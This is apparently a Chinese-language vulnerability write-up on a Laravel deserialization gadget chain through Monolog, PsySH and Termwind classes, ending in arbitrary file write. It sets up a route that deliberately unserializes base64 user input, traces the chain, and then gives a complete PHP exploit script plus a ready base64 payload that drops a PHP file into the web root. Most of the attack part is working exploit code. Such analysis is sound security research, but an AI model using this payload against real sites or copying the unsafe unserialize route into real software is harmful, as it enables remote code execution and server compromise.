前言
Laravel 是用 PHP 编写的开源 Web 应用程序框架。由于 Monolog\Handler\Handle 类的__destruct 方法调用了 close 方法,GroupHandler 重载了并调用每个 handler 的 close 方法,反序列化恶意对象时会通过 getStreamName 方法调用对象的 __toString 方法,攻击者可利用应用中存在的反序列化逻辑,构造基于laravel 的反序列化利用链执行任意代码。
环境搭建
composer create-project laravel/laravel laravel
接着在routes\web.php文件里添加一个反序列化点
Route::get("/test", function (\Illuminate\Http\Request $request) {
$str = $request->input("data");
unserialize(base64_decode($str));;
});
漏洞分析
反序列化链的起点在Monolog\Handler\Handler类__destruct()下,由于该类是一个abstract 抽象类,要找到该类的实现类去实例化,最终找到的GroupHandler类
当GroupHandler对象销毁的时候,会调用到父类的__destruct()魔术方法,__destruct()下又会调用到$this->close(),由于是实例化的是GroupHandler类,所以会调用到GroupHandler类下的close()
跟进到该方法后,发现调用了$handler->close(),$this->handlers可控,该变量是一个数组类型
这里需要调用到Psy\Readline\Hoa\Stream类下的close()方法,由于Stream类是abstract 类型的,所以需要一个实现类,这里使用到的是FileRead类
$this->handlers = [new FileRead()]; // 这样就能调用到Stream下的close()
接着调用$this0->getStreamName()得到$streamName,执行到下面md5()时,如果$streamName的值是一个对象的话,就会调用到该对象下的__toString()魔术方法,这里需要令$streamName=Termwind\Components\Element类
// self::NAME的值为0,就是获取$this->_bucket数组的第一个元素
// Termwind\Components\Element是一个抽象类,Hr是它的实现类
$this->_bucket = [new Hr()]
执行到Element类的__toString()方法下,该方法调用了toString(),在该方法里需要令$this->styles=Termwind\ValueObjects\styles对象,调用该对象里的format,参数是$this->connect
跟进到styles类的format()方法下,foreach代码中$modifier的值是可控的,所以就可以调用file_put_contents来将内容写入文件,这里需要三个参数
$this->textModifiers = ["file_put_contents"];
$this->properties = ["styles"=>"<?php phpinfo();?>", "parentStyles"=>0];
完整exp如下
请求http://127.0.0.1/index.php/test?data=base64数据
执行之后会在网站public目录下生成testtesttest.php文件
<?php
namespace Termwind\ValueObjects{
Class Styles{
private array $textModifiers;
private array $properties;
public function __construct(){
$this->textModifiers = ["file_put_contents"];
$this->properties = ["styles"=>"<?php phpinfo();?>", "parentStyles"=>0];
}
}
}
namespace Termwind\Components{
use Termwind\ValueObjects\Styles;
abstract Class Element{
protected string $content;
protected Styles $styles;
public function __construct()
{
$this->content = 'testtesttest.php';
$this->styles = new Styles();
}
}
Class Hr extends Element{}
}
namespace Psy\Readline\Hoa{
use Termwind\Components\Hr;
abstract Class Stream{
protected $_bucket;
public function __construct(){
$this->_bucket = [new Hr()];
}
}
Class FileRead extends Stream {}
}
namespace Monolog\Handler{
use Psy\Readline\Hoa\FileRead;
Class GroupHandler{
protected array $handlers;
public function __construct(){
$this->handlers = [new FileRead()];
}
}
}
namespace {
$obj = new Monolog\Handler\GroupHandler();
echo base64_encode(serialize($obj));
}
/*
TzoyODoiTW9ub2xvZ1xIYW5kbGVyXEdyb3VwSGFuZGxlciI6MTp7czoxMToiACoAaGFuZGxlcnMiO2E6MTp7aTowO086MjU6IlBzeVxSZWFkbGluZVxIb2FcRmlsZVJlYWQiOjE6e3M6MTA6IgAqAF9idWNrZXQiO2E6MTp7aTowO086MjI6IlRlcm13aW5kXENvbXBvbmVudHNcSHIiOjI6e3M6MTA6IgAqAGNvbnRlbnQiO3M6MTY6InRlc3R0ZXN0dGVzdC5waHAiO3M6OToiACoAc3R5bGVzIjtPOjI4OiJUZXJtd2luZFxWYWx1ZU9iamVjdHNcU3R5bGVzIjoyOntzOjQzOiIAVGVybXdpbmRcVmFsdWVPYmplY3RzXFN0eWxlcwB0ZXh0TW9kaWZpZXJzIjthOjE6e2k6MDtzOjE3OiJmaWxlX3B1dF9jb250ZW50cyI7fXM6NDA6IgBUZXJtd2luZFxWYWx1ZU9iamVjdHNcU3R5bGVzAHByb3BlcnRpZXMiO2E6Mjp7czo2OiJzdHlsZXMiO3M6MTg6Ijw/cGhwIHBocGluZm8oKTs/PiI7czoxMjoicGFyZW50U3R5bGVzIjtpOjA7fX19fX19fQ==
*/
没有评论